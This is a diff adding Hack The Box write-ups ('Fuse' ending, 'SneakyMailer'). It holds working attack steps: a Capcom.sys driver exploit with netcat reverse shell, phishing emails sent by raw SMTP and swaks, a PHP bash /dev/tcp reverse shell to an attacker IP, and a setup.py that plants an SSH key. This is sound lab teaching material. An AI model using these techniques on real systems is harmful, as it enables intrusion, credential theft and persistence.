following: + +![](prg/57_006.png) + +So here we get a hint that we need to dig deeper into a possible **SeLoadDriverPrivilege** exploit, and we find [this article](https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/) about how to exploit this privilege using the **Capcom.sys** driver. So we're going to use [this exploit](https://github.com/clubby789/ExploitCapcom/releases/tag/1.0) which was made by clubby789, and the [Capcom.sys](https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys) file: + + + [ 10.66.66.2/32 ] [ /dev/pts/24 ] [~/HTB/Fuse] + → wget https://github.com/FuzzySecurity/Capcom-Rootkit/raw/master/Driver/Capcom.sys + + [ 10.66.66.2/32 ] [ /dev/pts/24 ] [~/HTB/Fuse] + → wget https://github.com/clubby789/ExploitCapcom/releases/download/1.0/ExploitCapcom.exe + + [ 10.66.66.2/32 ] [ /dev/pts/24 ] [~/HTB/Fuse] + → cp /home/nothing/HTB/Servmon/nc.exe . + + + +We're also going to need the netcat binary to get a reverse shell, we then upload all of these into the C:\temp directory we created earlier: + + + *Evil-WinRM* PS C:\temp> upload Capcom.sys + Info: Uploading Capcom.sys to C:\temp\Capcom.sys + + + Data: 14100 bytes of 14100 bytes copied + + Info: Upload successful! + + *Evil-WinRM* PS C:\temp> upload ExploitCapcom.exe + Info: Uploading ExploitCapcom.exe to C:\temp\ExploitCapcom.exe + + + Data: 387752 bytes of 387752 bytes copied + + Info: Upload successful! + + *Evil-WinRM* PS C:\temp> + + + +And now we run the exploit to load the Capcom.sys driver first, and then we will execute it again but with the netcat binary to get a reverse shell: + + + *Evil-WinRM* PS C:\temp> ls + + + Directory: C:\temp + + + Mode LastWriteTime Length Name + ---- ------------- ------ ---- + -a---- 6/25/2021 6:33 AM 10576 Capcom.sys + -a---- 6/25/2021 6:34 AM 290816 ExploitCapcom.exe + -a---- 6/25/2021 6:35 AM 59392 nc.exe + -a---- 6/25/2021 6:22 AM 233056 peas.ps1 + + *Evil-WinRM* PS C:\temp> .\ExploitCapcom.exe LOAD C:\temp\Capcom.sys + [*] Service Name: dzkpfqeuàù/îï + [+] Enabling SeLoadDriverPrivilege + [+] SeLoadDriverPrivilege Enabled + [+] Loading Driver: \Registry\User\S-1-5-21-2633719317-1471316042-3957863514-1104\??????????????????? + NTSTATUS: 00000000, WinError: 0 + + *Evil-WinRM* PS C:\temp> .\ExploitCapcom.exe EXPLOIT "C:\temp\nc.exe 10.10.14.11 9002 -e powershell.exe" + [*] Capcom.sys exploit + [*] Capcom.sys handle was obtained as 0000000000000064 + [*] Shellcode was placed at 0000024EFED40008 + [+] Shellcode was executed + [+] Token stealing was successful + [+] Command Executed + + +And we catch the reverse shell connection with a netcat listener: + + + [ 10.66.66.2/32 ] [ /dev/pts/36 ] [~/HTB/Fuse] + → nc -lvnp 9002 + listening on [any] 9002 ... + connect to [10.10.14.11] from (UNKNOWN) [10.10.10.193] 50794 + Windows PowerShell + Copyright (C) 2016 Microsoft Corporation. All rights reserved. + + PS C:\temp> whoami + whoami + nt authority\system + PS C:\temp> cd .. + cd .. + PS C:\> cd Users\Administrator\Desktop + cd Users\Administrator\Desktop + PS C:\Users\Administrator\Desktop> type root.txt + type root.txt + aeXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + +And that's it! We managed to get a reverse shell as Administrator, and got the root flag. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/57_graph.png) + diff --git a/Medium/58.md b/Medium/58.md new file mode 100644 index 0000000..7a78ada --- /dev/null +++ b/Medium/58.md @@ -0,0 +1,738 @@ +# SneakyMailer Writeup + +![](img/58.png) + +## Introduction : + +SneakyMailer is a Medium Linux box released back in July 2020. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + [ 10.66.66.2/32 ] [ /dev/pts/3 ] [~/HTB/sneakymailer] + → nmap -vvv -p- 10.10.10.197 --max-retries 0 -Pn --min-rate=500 2>/dev/null | grep Discovered + Discovered open port 25/tcp on 10.10.10.197 + Discovered open port 8080/tcp on 10.10.10.197 + Discovered open port 80/tcp on 10.10.10.197 + Discovered open port 143/tcp on 10.10.10.197 + Discovered open port 22/tcp on 10.10.10.197 + Discovered open port 21/tcp on 10.10.10.197 + Discovered open port 993/tcp on 10.10.10.197 + + [ 10.66.66.2/32 ] [ /dev/pts/3 ] [~/HTB/sneakymailer] + → nmap -sCV -p25,8080,80,143,22,212,993 10.10.10.197 + Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-26 18:26 CEST + Nmap scan report for 10.10.10.197 + Host is up (0.47s latency). + + PORT STATE SERVICE VERSION + 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) + | ssh-hostkey: + | 2048 57:c9:00:35:36:56:e6:6f:f6:de:86:40:b2:ee:3e:fd (RSA) + | 256 d8:21:23:28:1d:b8:30:46:e2:67:2d:59:65:f0:0a:05 (ECDSA) + |_ 256 5e:4f:23:4e:d4:90:8e:e9:5e:89:74:b3:19:0c:fc:1a (ED25519) + 25/tcp open smtp Postfix smtpd + |_smtp-commands: debian, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING, + 80/tcp open http nginx 1.14.2 + |_http-server-header: nginx/1.14.2 + |_http-title: Did not follow redirect to http://sneakycorp.htb + 143/tcp open imap Courier Imapd (released 2018) + |_imap-capabilities: ACL QUOTA IDLE CAPABILITY ENABLE completed UIDPLUS ACL2=UNION THREAD=REFERENCES NAMESPACE SORT OK STARTTLS UTF8=ACCEPTA0001 THREAD=ORDEREDSUBJECT IMAP4rev1 CHILDREN + | ssl-cert: Subject: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US + | Subject Alternative Name: email:postmaster@example.com + | Not valid before: 2020-05-14T17:14:21 + |_Not valid after: 2021-05-14T17:14:21 + |_ssl-date: TLS randomness does not represent time + 212/tcp closed anet + 993/tcp open ssl/imap Courier Imapd (released 2018) + | ssl-cert: Subject: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US + | Subject Alternative Name: email:postmaster@example.com + | Not valid before: 2020-05-14T17:14:21 + |_Not valid after: 2021-05-14T17:14:21 + |_ssl-date: TLS randomness does not represent time + 8080/tcp open http nginx 1.14.2 + |_http-open-proxy: Proxy might be redirecting requests + |_http-server-header: nginx/1.14.2 + |_http-title: Welcome to nginx! + Service Info: Host: debian; OS: Linux; CPE: cpe:/o:linux:linux_kernel + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 69.99 seconds + + + +## **Part 2 : Getting User Access** + +Our nmap scan picked up the **sneakycorp.htb** domain name so let's add it to our hosts file: + + + [ 10.66.66.2/32 ] [ /dev/pts/3 ] [~/HTB/sneakymailer] + → sudo -i + [sudo] password for nothing: + ┌──(root💀nowhere)-[~] + └─# echo '10.10.10.197 sneakycorp.htb' >> /etc/hosts + + ┌──(root💀nowhere)-[~] + └─# ping -c1 sneakycorp.htb + PING sneakycorp.htb (10.10.10.197) 56(84) bytes of data. + 64 bytes from sneakycorp.htb (10.10.10.197): icmp_seq=1 ttl=63 time=466 ms + + --- sneakycorp.htb ping statistics --- + 1 packets transmitted, 1 received, 0% packet loss, time 0ms + rtt min/avg/max/mdev = 466.380/466.380/466.380/0.000 ms + + ┌──(root💀nowhere)-[~] + └─# exit + + [ 10.66.66.2/32 ] [ /dev/pts/3 ] [~/HTB/sneakymailer] + → + + +Now let's inspect it from the web browser: + +![](prg/58_001.png) + +There is a hint about the use of **pypi** on the servers, when we take a look at the other php webpage we see that there is a list of potential usernames along with their emails: + +![](prg/58_002.png) + +We're going to save all the emails locally using curl: + + + [ 10.66.66.2/32 ] [ /dev/pts/3 ] [~/HTB/sneakymailer] + → curl sneakycorp.htb/team.php 2>/dev/null | grep sneakymailer.htb | tr -d ' ' | cut -c 5- | rev | cut -c 6- | rev > emails + + [ 10.66.66.2/32 ] [ /dev/pts/3 ] [~/HTB/sneakymailer] + → cat emails + tigernixon@sneakymailer.htb + garrettwinters@sneakymailer.htb + ashtoncox@sneakymailer.htb + cedrickelly@sneakymailer.htb + airisatou@sneakymailer.htb + briellewilliamson@sneakymailer.htb + herrodchandler@sneakymailer.htb + rhonadavidson@sneakymailer.htb + colleenhurst@sneakymailer.htb + sonyafrost@sneakymailer.htb + jenagaines@sneakymailer.htb + quinnflynn@sneakymailer.htb + chardemarshall@sneakymailer.htb + haleykennedy@sneakymailer.htb + tatyanafitzpatrick@sneakymailer.htb + michaelsilva@sneakymailer.htb + + [...] + + + +Now let's use gobuster to enumerate other vhosts on the machine: + + + [ 10.66.66.2/32 ] [ /dev/pts/3 ] [~/HTB/sneakymailer] + → gobuster vhost -u http://sneakycorp.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt + + =============================================================== + Gobuster v3.1.0 + by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) + =============================================================== + [+] Url: http://sneakycorp.htb + [+] Method: GET + [+] Threads: 10 + [+] Wordlist: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt + [+] User Agent: gobuster/3.1.0 + [+] Timeout: 10s + =============================================================== + 2021/06/26 18:38:01 Starting gobuster in VHOST enumeration mode + =============================================================== + Found: dev.sneakycorp.htb (Status: 200) [Size: 13742] + + + +We found **dev.sneakycorp.htb** so we add it to our hosts file like we did previously, and then we take a look at the SMTP port 25 using netcat: + + + [ 10.66.66.2/32 ] [ /dev/pts/3 ] [~/HTB/sneakymailer] + → nc -nv 10.10.10.197 25 + (UNKNOWN) [10.10.10.197] 25 (smtp) open + V220 debian ESMTP Postfix (Debian/GNU) + + VRFY cedrickelly@sneakymailer.htb + 252 2.0.0 cedrickelly@sneakymailer.htb + + VRFY angelicaramos@sneakymailer.htb + 252 2.0.0 angelicaramos@sneakymailer.htb + + VRFY nihilist@sneakymailer.htb + 550 5.1.1 <****nihilist@sneakymailer.htb>: Recipient address rejected: User unknown in virtual mailbox table + +Basically here we see that the emails we got earlier are all valid **(252 2.0.0)** for this SMTP server. Now you probably guessed it from the box's logo, this is about phishing. We can send a phishing email with a link to our machine using this SMTP service. We do the following: + + + [ 10.66.66.2/32 ] [ /dev/pts/3 ] [~/HTB/sneakymailer] + → nc -nv 10.10.10.197 25 + (UNKNOWN) [10.10.10.197] 25 (smtp) open + + HELO 10.10.10.197 + 220 debian ESMTP Postfix (Debian/GNU) + 250 debian + + MAIL FROM: nihilist@sneakymailer.htb + 250 2.1.0 Ok + + RCPT TO: ashtoncox@sneakymailer.htb + 250 2.1.5 Ok + + RCPT TO: tatyanafitzpatrick@sneakymailer.htb + 250 2.1.5 Ok + + [...] + + RCPT TO: paulbyrd@sneakymailer.htb + 250 2.1.5 Ok + + DATA + 354 End data with CR>LF>.CR>LF> + go visit my phishing website at http://10.10.14.11:8001 + . + + 250 2.0.0 Ok: queued as 8C44F24667 + + + +That's how you do it manually. If we wanted we could have also did it automatically using **swaks** + + + swaks --server sneakycorp.htb --body "goto http://10.10.14.11:8001" --to tigernixon@sneakymailer.htb,garrettwinters@sneakymailer.htb,....,sulcud@sneakymailer.htb,donnasnider@sneakymailer.htb + + + +And as we simply send our phishing email that way, and after a few seconds we end up getting a connection back to us on our fake website which was actually a simple netcat listener: + + + [ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/sneakymailer] + → nc -lvnp 8001 + listening on [any] 8001 ... + connect to [10.10.14.11] from (UNKNOWN) [10.10.10.197] 39692 + POST / HTTP/1.1 + Host: 10.10.14.11:8001 + User-Agent: python-requests/2.23.0 + Accept-Encoding: gzip, deflate + Accept: */* + Connection: keep-alive + Content-Length: 185 + Content-Type: application/x-www-form-urlencoded + + firstName=Paul&lastName;=Byrd&email;=paulbyrd%40sneakymailer.htb&password;=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt&rpassword;=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt + + + +We can url-decode it from burpsuite's repeater by selecting the text and hitting **CTRL+SHIFT+U** and we get the following: + + + firstName=Paul&lastName;=Byrd&email;=paulbyrd@sneakymailer.htb&password;=^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht&rpassword;=^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht + + + +So we seem to have gotten credentials: + + + paulbyrd@sneakymailer.htb : ^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht + + + +Let's use them to read paul's emails from the IMAP port: + + + [ 10.66.66.2/32 ] [ /dev/pts/3 ] [~/HTB/sneakymailer] + → nc -nv 10.10.10.197 143 + (UNKNOWN) [10.10.10.197] 143 (imap2) open + * OK [CAPABILITY IMAP4rev1 UIDPLUS CHILDREN NAMESPACE THREAD=ORDEREDSUBJECT THREAD=REFERENCES SORT QUOTA IDLE ACL ACL2=UNION STARTTLS ENABLE UTF8=ACCEPT] Courier-IMAP ready. Copyright 1998-2018 Double Precision, Inc. See COPYING for distribution information. + + a LOGIN paulbyrd ^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht + * OK [ALERT] Filesystem notification initialization error -- contact your mail administrator (check for configuration errors with the FAM/Gamin library) + a OK LOGIN Ok. + + b LIST "" "*" + * LIST (\Unmarked \HasChildren) "." "INBOX" + * LIST (\HasNoChildren) "." "INBOX.Trash" + * LIST (\HasNoChildren) "." "INBOX.Sent" + * LIST (\HasNoChildren) "." "INBOX.Deleted Items" + * LIST (\HasNoChildren) "." "INBOX.Sent Items" + b OK LIST completed + + c STATUS "INBOX" MESSAGES + * STATUS "INBOX" (MESSAGES 0) + c OK STATUS Completed. + + d STATUS "INBOX.Trash" MESSAGES + * STATUS "INBOX.Trash" (MESSAGES 0) + d OK STATUS Completed. + + e STATUS "INBOX.Sent Items" MESSAGES + * STATUS "INBOX.Sent Items" (MESSAGES 2) + e OK STATUS Completed. + + f SELECT "INBOX.Sent Items" + * FLAGS (\Draft \Answered \Flagged \Deleted \Seen \Recent) + * OK [PERMANENTFLAGS (\* \Draft \Answered \Flagged \Deleted \Seen)] Limited + * 2 EXISTS + * 0 RECENT + * OK [UIDVALIDITY 589480766] Ok + * OK [MYRIGHTS "acdilrsw"] ACL + f OK [READ-WRITE] Ok + + h FETCH 1 BODY[] + * 1 FETCH (BODY[] {2167} + MIME-Version: 1.0 + To: root + From: Paul Byrd + Subject: Password reset + Date: Fri, 15 May 2020 13:03:37 -0500 + Importance: normal + X-Priority: 3 + Content-Type: multipart/alternative; + boundary="_21F4C0AC-AA5F-47F8-9F7F-7CB64B1169AD_" + + --_21F4C0AC-AA5F-47F8-9F7F-7CB64B1169AD_ + Content-Transfer-Encoding: quoted-printable + Content-Type: text/plain; charset="utf-8" + + Hello administrator, I want to change this password for the developer accou= + nt + + Username: developer + Original-Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C + + Please notify me when you do it=20 + + --_21F4C0AC-AA5F-47F8-9F7F-7CB64B1169AD_ + Content-Transfer-Encoding: quoted-printable + Content-Type: text/html; charset="utf-8" + + + @font-face + {font-family:"Cambria Math"; + panose-1:2 4 5 3 5 4 6 3 2 4;} + @font-face + {font-family:Calibri; + panose-1:2 15 5 2 2 2 4 3 2 4;} + /* Style Definitions */ + p.MsoNormal, li.MsoNormal, div.MsoNormal + {margin:0in; + margin-bottom:.0001pt; + font-size:11.0pt; + font-family:"Calibri",sans-serif;} + .MsoChpDefault + {mso-style-type:export-only;} + @page WordSection1 + {size:8.5in 11.0in; + margin:1.0in 1.0in 1.0in 1.0in;} + div.WordSection1 + {page:WordSection1;} + --> + + Hello administrator, I want to chang= + e this password for the developer account + + &nbs;= + p; + + Username: developer + + Original-Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C + + + + Please notify me when you do i= + t + + = + + --_21F4C0AC-AA5F-47F8-9F7F-7CB64B1169AD_-- + ) + h OK FETCH completed. + + i FETCH 2 BODY[] + * 2 FETCH (BODY[] {585} + To: low@debian + From: Paul Byrd + Subject: Module testing + Message-ID: <4d08007d-3f7e-95ee-858a-40c6e04581bb@sneakymailer.htb> + Date: Wed, 27 May 2020 13:28:58 -0400 + User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 + Thunderbird/68.8.0 + MIME-Version: 1.0 + Content-Type: text/plain; charset=utf-8; format=flowed + Content-Transfer-Encoding: 7bit + Content-Language: en-US + + Hello low + + + Your current task is to install, test and then erase every python module you + find in our PyPI service, let me know if you have any inconvenience. + + ) + i OK FETCH completed. + + +So now we have other credentials **developer:m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C**. We use these credentials on the FTP service: + + + [ 10.66.66.2/32 ] [ /dev/pts/3 ] [~/HTB/sneakymailer] + → ftp 10.10.10.197 + Connected to 10.10.10.197. + 220 (vsFTPd 3.0.3) + Name (10.10.10.197:nothing): **developer** + 331 Please specify the password. + Password: **m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C** + 230 Login successful. + Remote system type is UNIX. + Using binary mode to transfer files. + ftp> ls + 200 PORT command successful. Consider using PASV. + 150 Here comes the directory listing. + drwxrwxr-x 8 0 1001 4096 Jun 30 2020 dev + 226 Directory send OK. + ftp> cd dev + 250 Directory successfully changed. + ftp> ls -al + 200 PORT command successful. Consider using PASV. + 150 Here comes the directory listing. + drwxrwxr-x 8 0 1001 4096 Jun 30 2020 . + drwxr-xr-x 3 0 0 4096 Jun 23 2020 .. + drwxr-xr-x 2 0 0 4096 May 26 2020 css + drwxr-xr-x 2 0 0 4096 May 26 2020 img + -rwxr-xr-x 1 0 0 13742 Jun 23 2020 index.php + drwxr-xr-x 3 0 0 4096 May 26 2020 js + drwxr-xr-x 2 0 0 4096 May 26 2020 pypi + drwxr-xr-x 4 0 0 4096 May 26 2020 scss + -rwxr-xr-x 1 0 0 26523 May 26 2020 team.php + drwxr-xr-x 8 0 0 4096 May 26 2020 vendor + + + +And apparently we get access to the **dev.sneakycorp.htb** subdomain webservice root folder using developer's credentials on FTP. so let's put a reverse php shell there: + + + [terminal 1] + [ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/sneakymailer] + → vim rev.php + + [ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/sneakymailer] + → cat rev.php + <****?php + exec("/bin/bash -c 'bash -i > & /dev/tcp/10.10.14.11/9001 0>&1'"); + ?> + + [terminal2] + ftp> put rev.php + local: rev.php remote: rev.php + 200 PORT command successful. Consider using PASV. + 150 Ok to send data. + 226 Transfer complete. + 77 bytes sent in 0.00 secs (2.7197 MB/s) + + ftp> ls -la + 200 PORT command successful. Consider using PASV. + 150 Here comes the directory listing. + drwxrwxr-x 8 0 1001 4096 Jun 26 13:43 . + drwxr-xr-x 3 0 0 4096 Jun 23 2020 .. + drwxr-xr-x 2 0 0 4096 May 26 2020 css + drwxr-xr-x 2 0 0 4096 May 26 2020 img + -rwxr-xr-x 1 0 0 13742 Jun 23 2020 index.php + drwxr-xr-x 3 0 0 4096 May 26 2020 js + drwxr-xr-x 2 0 0 4096 May 26 2020 pypi + --wxrw-rw- 1 1001 1001 77 Jun 26 13:43 rev.php + drwxr-xr-x 4 0 0 4096 May 26 2020 scss + -rwxr-xr-x 1 0 0 26523 May 26 2020 team.php + drwxr-xr-x 8 0 0 4096 May 26 2020 vendor + 226 Directory send OK. + + + +note: the reverse php shell we upload gets cleaned up very often so we need to upload the shell and immediately browse to it to trigger the reverse shell: + + + [terminal 1] + ftp> put rev.php + local: rev.php remote: rev.php + 200 PORT command successful. Consider using PASV. + 150 Ok to send data. + 226 Transfer complete. + 77 bytes sent in 0.00 secs (2.3688 MB/s) + + [terminal 2] + [ 10.10.14.11/23 ] [ /dev/pts/23 ] [~/HTB/sneakymailer] + → curl http://dev.sneakycorp.htb/rev.php + + [terminal 3] + [ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/sneakymailer] + → nc -lvnp 9001 + listening on [any] 9001 ... + connect to [10.10.14.11] from (UNKNOWN) [10.10.10.197] 60378 + bash: cannot set terminal process group (651): Inappropriate ioctl for device + bash: no job control in this shell + www-data@sneakymailer:~/dev.sneakycorp.htb/dev$ + + +And we get a reverse shell as www-data! now let's upgrade the reverse shell to a fully interactive TTY: + + + www-data@sneakymailer:~/dev.sneakycorp.htb/dev$ which python python3 wget curl + /usr/bin/python + /usr/bin/python3 + /usr/bin/wget + /usr/bin/curl + www-data@sneakymailer:~/dev.sneakycorp.htb/dev$ python3 -c 'import pty;pty.spawn("/bin/bash")' + www-data@sneakymailer:~/dev.sneakycorp.htb/dev$ ^Z + [1] + 1545495 suspended nc -lvnp 9001 + + [ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/sneakymailer] + → stty raw -echo ; fg + [1] + 1545495 continued nc -lvnp 9001 + export TERM=screen-256color + www-data@sneakymailer:~/dev.sneakycorp.htb/dev$ export SHELL=bash + www-data@sneakymailer:~/dev.sneakycorp.htb/dev$ stty rows 50 columns 200 + www-data@sneakymailer:~/dev.sneakycorp.htb/dev$ reset + + +Now that we have a fully interactive TTY we try to privesc to the developer user: + + + www-data@sneakymailer:~/dev.sneakycorp.htb/dev$ su - developer + Password: + developer@sneakymailer:~$ id + uid=1001(developer) gid=1001(developer) groups=1001(developer) + developer@sneakymailer:~$ ls -lash + total 12K + 4.0K drwxr-xr-x 3 root root 4.0K Jun 23 2020 . + 4.0K drwxr-xr-x 6 root root 4.0K May 14 2020 .. + 4.0K drwxrwxr-x 8 root developer 4.0K Jun 26 13:46 dev + + developer@sneakymailer:~$ ls -lash /home/* + /home/low: + total 48K + 4.0K drwxr-xr-x 8 low low 4.0K Jun 8 2020 . + 4.0K drwxr-xr-x 4 root root 4.0K May 14 2020 .. + 0 lrwxrwxrwx 1 root root 9 May 19 2020 .bash_history -> /dev/null + 4.0K -rw-r--r-- 1 low low 220 May 14 2020 .bash_logout + 4.0K -rw-r--r-- 1 low low 3.5K May 14 2020 .bashrc + 4.0K drwxr-xr-x 3 low low 4.0K May 16 2020 .cache + 4.0K drwx------ 3 low low 4.0K May 14 2020 .gnupg + 4.0K drwxr-xr-x 3 low low 4.0K May 16 2020 .local + 4.0K dr-x------ 2 low low 4.0K May 16 2020 .pip + 4.0K -rw-r--r-- 1 low low 807 May 14 2020 .profile + 4.0K drwxr-xr-x 2 low low 4.0K Jun 8 2020 .ssh + 4.0K -rwxr-x--- 1 root low 33 Jun 26 12:31 user.txt + 4.0K drwxr-xr-x 6 low low 4.0K May 16 2020 venv + ls: cannot open directory '/home/vmail': Permission denied + + developer@sneakymailer:~$ cat /home/low/user.txt + cat: /home/low/user.txt: Permission denied + + + +We managed to privesc to the developer user, but we don't have enough privileges to get the user flag yet. To continue we need to take a look at the other websites on the machine, we do that by going to the parent directory: + + + developer@sneakymailer:~$ pwd + /var/www/dev.sneakycorp.htb + + developer@sneakymailer:~$ cd .. + + developer@sneakymailer:/var/www$ ls -lash + total 24K + 4.0K drwxr-xr-x 6 root root 4.0K May 14 2020 . + 4.0K drwxr-xr-x 12 root root 4.0K May 14 2020 .. + 4.0K drwxr-xr-x 3 root root 4.0K Jun 23 2020 dev.sneakycorp.htb + 4.0K drwxr-xr-x 2 root root 4.0K May 14 2020 html + 4.0K drwxr-xr-x 4 root root 4.0K May 15 2020 pypi.sneakycorp.htb + 4.0K drwxr-xr-x 8 root root 4.0K Jun 23 2020 sneakycorp.htb + + + +We already know the websites there except for **pypi.sneakycorp.htb** so let's take a look at it: + + + developer@sneakymailer:/var/www/pypi.sneakycorp.htb$ clear + developer@sneakymailer:/var/www/pypi.sneakycorp.htb$ ls -lash + total 20K + 4.0K drwxr-xr-x 4 root root 4.0K May 15 2020 . + 4.0K drwxr-xr-x 6 root root 4.0K May 14 2020 .. + 4.0K -rw-r--r-- 1 root root 43 May 15 2020 .htpasswd + 4.0K drwxrwx--- 2 root pypi-pkg 4.0K Jun 30 2020 packages + 4.0K drwxr-xr-x 6 root pypi 4.0K May 14 2020 venv + developer@sneakymailer:/var/www/pypi.sneakycorp.htb$ cat .htpasswd + pypi:$apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/ + + + +So here we get the pypi user's password hash, we crack it locally using john: + + + [ 10.10.14.11/23 ] [ /dev/pts/23 ] [~/HTB/sneakymailer] + → john -w=/usr/share/wordlists/rockyou.txt pypi-htpasswd.txt + Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long" + Use the "--format=md5crypt-long" option to force loading these as that type instead + Using default input encoding: UTF-8 + Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3]) + Will run 4 OpenMP threads + Press 'q' or Ctrl-C to abort, almost any other key for status + soufianeelhaoui () + 1g 0:00:00:23 DONE (2021-06-26 20:02) 0.04239g/s 151516p/s 151516c/s 151516C/s soul17soul17..souderton16 + Use the "--show" option to display all of the cracked passwords reliably + Session completed + + + +And now we got the credentials **pypi:soufianeelhaoui**. We can use them to take a look at **:8080/packages/** and **:8080/simple/** but both pages are basically blank. After a bit of googling we stumble upon [this](https://pypiserver.readthedocs.io/en/latest/README.html#uploading-packages-from-sources-remotely) article which details how to upload a package to the server. to do so we need to create a **.pypirc** file in the home directory of our local machine: + + + [ 10.10.14.11/23 ] [ /dev/pts/16 ] [~/HTB/sneakymailer] + → vim ~/.pypirc + + [ 10.10.14.11/23 ] [ /dev/pts/16 ] [~/HTB/sneakymailer] + → cat ~/.pypirc + [distutils] + index-servers = internal + + [internal] + repository: http://pypi.sneakycorp.htb:8080 + username: pypi + password: soufianeelhaoui + + + +We also need to create a **setup.py** file that will be executed so that we can write our public key in **/home/low/.ssh/authorized_keys** over on the box: + + + [ 10.10.14.11/23 ] [ /dev/pts/16 ] [~/HTB/sneakymailer] + → cat ~/.pypirc + [distutils] + index-servers = internal + + [internal] + repository: http://pypi.sneakycorp.htb:8080 + username: pypi + password: soufianeelhaoui + + [ 10.10.14.11/23 ] [ /dev/pts/16 ] [~/HTB/sneakymailer] + → cat setup.py + from setuptools import setup, find_packages + + try: + with open('/home/low/.ssh/authorized_keys','a') as f: + f.write("ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAfhgjcMFy5mO4fwhQyW6vdX5bgTzqZTh9MhCW7+k6Sj nothing@nowhere") + f.close() + except: + pass + + setup( + name="HelloWorld", + version="0.1", + packages=find_packages(), + ) + + +So we run it and ssh as low on the box: + + + [terminal 1] + [ 10.10.14.11/23 ] [ /dev/pts/16 ] [~/HTB/sneakymailer] + → python3 setup.py sdist upload -r internal + running sdist + running egg_info + writing HelloWorld.egg-info/PKG-INFO + writing dependency_links to HelloWorld.egg-info/dependency_links.txt + writing top-level names to HelloWorld.egg-info/top_level.txt + reading manifest file 'HelloWorld.egg-info/SOURCES.txt' + writing manifest file 'HelloWorld.egg-info/SOURCES.txt' + warning: sdist: standard file not found: should have one of README, README.rst, README.txt, README.md + + running check + warning: check: missing required meta-data: url + + warning: check: missing meta-data: either (author and author_email) or (maintainer and maintainer_email) should be supplied + + creating HelloWorld-0.1 + creating HelloWorld-0.1/HelloWorld.egg-info + copying files to HelloWorld-0.1... + copying setup.py -> HelloWorld-0.1 + copying HelloWorld.egg-info/PKG-INFO -> HelloWorld-0.1/HelloWorld.egg-info + copying HelloWorld.egg-info/SOURCES.txt -> HelloWorld-0.1/HelloWorld.egg-info + copying HelloWorld.egg-info/dependency_links.txt -> HelloWorld-0.1/HelloWorld.egg-info + copying HelloWorld.egg-info/top_level.txt -> HelloWorld-0.1/HelloWorld.egg-info + Writing HelloWorld-0.1/setup.cfg + Creating tar archive + removing 'HelloWorld-0.1' (and everything under it) + running upload + Submitting dist/HelloWorld-0.1.tar.gz to http://pypi.sneakycorp.htb:8080 + Server response (200): OK + + [terminal 2] + [ 10.10.14.11/23 ] [ /dev/pts/28 ] [~/HTB/sneakymailer] + → ssh low@sneakycorp.htb -i ~/.ssh/mainpc + The authenticity of host 'sneakycorp.htb (10.10.10.197)' can't be established. + ECDSA key fingerprint is SHA256:I1lCFRteozDGkqC/ZSE2SbHl8ISpJWhfu5nwn6LxbA0. + Are you sure you want to continue connecting (yes/no/[fingerprint])? yes + Warning: Permanently added 'sneakycorp.htb,10.10.10.197' (ECDSA) to the list of known hosts. + Linux sneakymailer 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2 (2020-04-29) x86_64 + + The programs included with the Debian GNU/Linux system are free software; + the exact distribution terms for each program are described in the + individual files in /usr/share/doc/*/copyright. + + Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent + permitted by applicable law. + No mail. + Last login: Tue Jun 9 03:02:52 2020 from 192.168.56.105 + low@sneakymailer:~$ id + uid=1000(low) gid=1000(low) groups=1000(low),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth),119(pypi-pkg) + low@sneakymailer:~$ cat user.txt + 9eXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + +And that's it! We managed to get the user flag. + +## **Part 3 : Getting Root Access** + +Now in order to privesc to the root user we take a look at what the user can run as sudo: + + + low@sneakymailer:~$ sudo -l + sudo: unable to resolve host sneakymailer: Temporary failure in name resolution + Matching Defaults entries for low on sneakymailer: + env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin + + User low may run the following commands on sneakymailer: + (root) NOPASSWD: /usr/bin/pip3 + + + +and here we see that pip3 can be ran as root without any password, so we can use this [gtfobin](https://gtfobins.github.io/gtfobins/pip/#sudo): + + + 